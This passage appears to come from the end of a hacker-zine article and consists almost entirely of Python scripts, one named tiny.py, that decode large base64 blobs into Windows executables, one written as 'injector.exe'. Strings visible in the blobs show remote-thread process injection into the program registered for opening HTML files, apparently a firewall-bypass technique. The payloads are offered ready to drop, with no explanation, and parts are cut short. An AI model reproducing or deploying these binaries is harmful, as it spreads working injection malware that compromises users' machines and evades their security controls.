AAAAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIA
AALCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAArCAAAAAAAAAAAAAAtCEA
ABAgAACcIAAAAAAAAAAAAADwIQAAACAAANwgAAAAAAAAAAAAACAiAABAIAAAAAAAAAAAAA
AAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIAAA
LCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAAGgBDbG9zZUhhbmRsZQBAAE
NyZWF0ZVByb2Nlc3NBAABCAENyZWF0ZVJlbW90ZVRocmVhZAAAgABFeGl0UHJvY2VzcwDv
AEdldEV4aXRDb2RlVGhyZWFkADIBR2V0U3RhcnR1cEluZm9BAGgCVGVybWluYXRlUHJvY2
VzcwAAggJWaXJ0dWFsQWxsb2NFeAAAhAJWaXJ0dWFsRnJlZUV4AI8CV2FpdEZvclNpbmds
ZU9iamVjdACnAldyaXRlUHJvY2Vzc01lbW9yeQAAa2VybmVsMzIuZGxsAACAAVJlZ0Nsb3
NlS2V5AJgBUmVnT3BlbktleUEAogFSZWdRdWVyeVZhbHVlQQAAYWR2YXBpMzIuZGxsAACd
AU1lc3NhZ2VCb3hBAFkCV2FpdEZvcklucHV0SWRsZQAAdXNlcjMyLmRsbAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASW5qZWN0aW9uIGZh
aWxlZC4ARmFpbHVyZQBodG1sZmlsZVxzaGVsbFxvcGVuXGNvbW1hbmQAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAEAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=""")
############################### tiny.py ###############################
from base64 import decodestring
open("injector.exe","wb").write(decodestring("""
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC4XBZb/D14CPw9eAj8PXgIciJrCOI9eAgAHWoI/T
14CFJpY2j8PXgIAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMAZ3NyQAAAAAAAAAAA4AAPAQsB
BQwADgAAAAYAAAAAAAAAEAAAABAAAAAgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAA
AAAEAAAAAEAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbCAA
ADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAABsAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAALnRleHQAAACIDAAAABAAAAAOAAAABAAAAAAAAAAAAAAAAAAAIAAAYC
5yZGF0YQAA6gIAAAAgAAAABAAAABIAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAADsAAAAA
MAAAAAIAAAAWAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOhKCgAAagDo+AsAAFWL7IPE5I1F5FBoDTBA
AGoA6FoMAACD+AB0U8dF7AEAAADHRfgCAAAAi0XkiUXwi0XoiUX06MQLAACLyI1F/FBqIF
HoLgwAAItN/IP5AHQeagBqAGoAjUXsUGoAUegIDAAAi8j/dfzoegsAAIvBycNVi+yBxLj+
///Hhdj+//8oAQAAx4W8/v//HAAAAOhu////agBqBuhXCwAAiYW4/v//jYXY/v//UP+1uP
7//+hjCwAAg/gAD4TBAAAAjZX8/v//aAAwQABS6JcLAACD+AB0HY2F2P7//1D/tbj+///o
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCIAALAiAACYIgAA
AAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4hAAD+IQAAECIAAC
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AAAAiiIAABAgAACoIAAAAAAAAAAAAADcIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyC
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AA""")
|=[ EOF ]=---------------------------------------------------------------=|